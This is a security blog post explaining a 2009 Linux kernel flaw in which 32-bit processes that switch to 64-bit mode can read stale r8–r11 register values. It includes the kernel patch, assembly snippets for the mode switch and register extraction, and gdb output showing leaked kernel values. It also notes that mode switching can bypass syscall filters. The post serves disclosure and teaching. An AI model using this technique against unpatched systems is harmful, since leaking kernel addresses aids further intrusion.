Linux Kernel x86-64 Register Leak

Sunday, October 4, 2009

A recent vulnerability in the Linux kernel (versions <= 2.6.32-rc1) allows the leakage of certain register contents. The x86-64 registers r8-r11 may be leaked to 32-bit unprivileged userspace applications that switch themselves into 64-bit mode.

Introduction

In order to understand this vulnerability, we first need to talk a bit about the x86-64 architecture (aka amd64). One of the key design decisions of x86-64, which fueled its adoption over IA-64, is its backward compatibility with 32-bit code. In x86-64 long mode, there are two sub-modes controlled by the code segment descriptor: compatibility mode and 64-bit mode. Therefore, our 64-bit operating system can execute both 32-bit and 64-bit binaries without issue. Of course, if we're executing a 32-bit binary, we can access our traditional 32-bit architecture registers and not any of the additional register file added by x86-64.

However, it is possible to mix both 32-bit and 64-bit code within a single executable. A 32-bit process can switch into 64-bit mode and jump right to x86-64 machine code. In addition, a 64-bit process is capable of invoking 32-bit syscalls. This type of switching can often be abused to bypass syscall filtering mechanisms as Chris Evans discovered (since syscall numbers differ between 32-bit and 64-bit). In this case, we will switch between 32-bit and 64-bit code in order to exploit an information leak in the kernel.

The Vulnerability

The underlying issue that causes this vulnerability is a lack of zeroing out several of the x86-64 registers upon returning from a syscall. A 32-bit application may be able to switch to 64-bit mode and access the r8, r9, r10, and r11 registers to leak their previous values. This issue was discovered by Jan Beulich and patched on October 1st. The fix is obviously to zero out these registers to avoid leaking any information to userspace.

A snippet from the patch demonstrating the fix:

diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S
--- a/arch/x86/ia32/ia32entry.S
+++ b/arch/x86/ia32/ia32entry.S
@@ -172,6 +172,10 @@ sysexit_from_sys_call:
        movl    RIP-R11(%rsp),%edx              /* User %eip */
        CFI_REGISTER rip,rdx
        RESTORE_ARGS 1,24,1,1,1,1
+       xorq    %r8,%r8
+       xorq    %r9,%r9
+       xorq    %r10,%r10
+       xorq    %r11,%r11
        popfq
        CFI_ADJUST_CFA_OFFSET -8
        /*CFI_RESTORE rflags*/

The Exploit

As we previously mentioned, our 32-bit userspace application needs to switch into 64-bit mode in order to access the x86-64 registers and expose the leaked information. To mix our 32-bit and 64-bit code, we compile our binary with -m32 but use gcc's inline asm to mix in the necessary 64-bit code without conflict. In order to switch to 64-bit mode, we simply need to perform a ljmp/lcall with the USER_CS code segment (0x33 on Linux):

.code32
ljmp $0x33, $1f
.code64
1:
/* 64-bit code here */
xorq %rax, %rax
...

For each of the 64-bit registers r8, r9, r10, and r11, we simply cram the 64-bits into two 32-bit GPRs. For example, we throw the upper and lower 32-bits of r8 into rax and rcx respectively (later to be retrieved through eax and ecx):

movq %r8, %rcx
shr $32, %r8
movq %r8, %rax

Finally, to retrieve the leaked values, we jmp to an invalid address (0xdeadbeef) to cause a SIGSEGV and then use 'info regs' in gdb to inspect the register values.

The full exploit is available here. Example output:

$ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak
$ gdb ./x86_64-reg-leak
GNU gdb 6.8-debian
...
(gdb) run
[+] Switching to x86_64 long mode via far jmp...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) info reg
eax            0xffff8800       -30720        <-- r8 upper
ecx            0xa5cc6000       -1513332736   <-- r8 lower
edx            0x0      0                     <-- r9 upper
ebx            0x1      1                     <-- r9 lower
esp            0xffff8800       0xffff8800    <-- r10 upper
ebp            0xa5cc6000       0xa5cc6000    <-- r10 lower
esi            0x0      0                     <-- r11 upper
edi            0xffffffff       -1            <-- r11 lower
...

spender also wrote an exploit simultaneously which is available here. It will loop and call a bunch of random syscalls and printf the leaked data so you don't have to use gdb.

Copyright © 2021 - Jon Oberheide